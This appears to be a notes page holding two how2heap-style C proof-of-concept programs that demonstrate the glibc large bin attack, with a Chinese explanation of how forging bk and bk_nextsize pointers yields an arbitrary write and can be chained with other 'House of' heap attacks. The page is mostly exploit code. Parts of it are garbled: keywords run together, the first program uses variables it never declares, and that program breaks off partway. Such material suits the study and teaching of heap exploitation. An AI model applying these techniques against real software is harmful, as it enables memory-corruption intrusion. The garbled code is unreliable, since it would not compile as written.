#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain() { fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n"); fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsignedlong *p1 = malloc(0x420); fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the first large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p2 = malloc(0x500); fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the second large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p3 = malloc(0x500); fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2); fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with" " the third large chunk during the free()\n\n"); malloc(0x20); free(p1); free(p2); fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
malloc(0x90); fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation" ", and reinsert the remaining of the freed first large chunk into the unsorted bin:" " [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3); fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0])); //------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk" " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and" " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
malloc(0x90); fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist." " During this time, targets should have already been rewritten:\n");
这个攻击主要就是利用两个chunk,大的为p3,小的为p2。我们可以伪造较小堆块p2的bk和bk_nextsize,分别指向target1-0x10,target2_0x20,放进large_bins里(可以的话,large_bins在此前最好是空的)。而大堆块p3在经过malloc后放进large_bins里,将p3的头指针赋值给了target1,target2,完成了任意地址写。将p3的头指针写进target1,2里后,可以结合其它House of 系列进行攻击
#include<stdio.h> #include<stdlib.h> #include<assert.h> intmain(){ /*Disable IO buffering to prevent stream from interfering with heap*/ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0);
printf("\n\n"); printf("Since glibc2.30, two new checks have been enforced on large bin chunk insertion\n\n"); printf("Check 1 : \n"); printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n"); printf("Check 2 : \n"); printf("> if (bck->fd != fwd)\n"); printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n"); printf("This prevents the traditional large bin attack\n"); printf("However, there is still one possible path to trigger large bin attack. The PoC is shown below : \n\n"); printf("====================================================================\n\n");
size_t target = 0; printf("Here is the target we want to overwrite (%p) : %lu\n\n",&target,target); size_t *p1 = malloc(0x428); printf("First, we allocate a large chunk [p1] (%p)\n",p1-2); size_t *g1 = malloc(0x18); printf("And another chunk to prevent consolidate\n");
printf("\n");
size_t *p2 = malloc(0x418); printf("We also allocate a second large chunk [p2] (%p).\n",p2-2); printf("This chunk should be smaller than [p1] and belong to the same large bin.\n"); size_t *g2 = malloc(0x18); printf("Once again, allocate a guard chunk to prevent consolidate\n");
printf("\n");
free(p1); printf("Free the larger of the two --> [p1] (%p)\n",p1-2); size_t *g3 = malloc(0x438); printf("Allocate a chunk larger than [p1] to insert [p1] into large bin\n");
printf("\n");
free(p2); printf("Free the smaller of the two --> [p2] (%p)\n",p2-2); printf("At this point, we have one chunk in large bin [p1] (%p),\n",p1-2); printf(" and one chunk in unsorted bin [p2] (%p)\n",p2-2);
printf("\n");
p1[3] = (size_t)((&target)-4); printf("Now modify the p1->bk_nextsize to [target-0x20] (%p)\n",(&target)-4);
printf("\n");
size_t *g4 = malloc(0x438); printf("Finally, allocate another chunk larger than [p2] (%p) to place [p2] (%p) into large bin\n", p2-2, p2-2); printf("Since glibc does not check chunk->bk_nextsize if the new inserted chunk is smaller than smallest,\n"); printf(" the modified p1->bk_nextsize does not trigger any error\n"); printf("Upon inserting [p2] (%p) into largebin, [p1](%p)->bk_nextsize->fd_nextsize is overwritten to address of [p2] (%p)\n", p2-2, p1-2, p2-2);
printf("\n");
printf("In our case here, target is now overwritten to address of [p2] (%p), [target] (%p)\n", p2-2, (void *)target); printf("Target (%p) : %p\n",&target,(size_t*)target);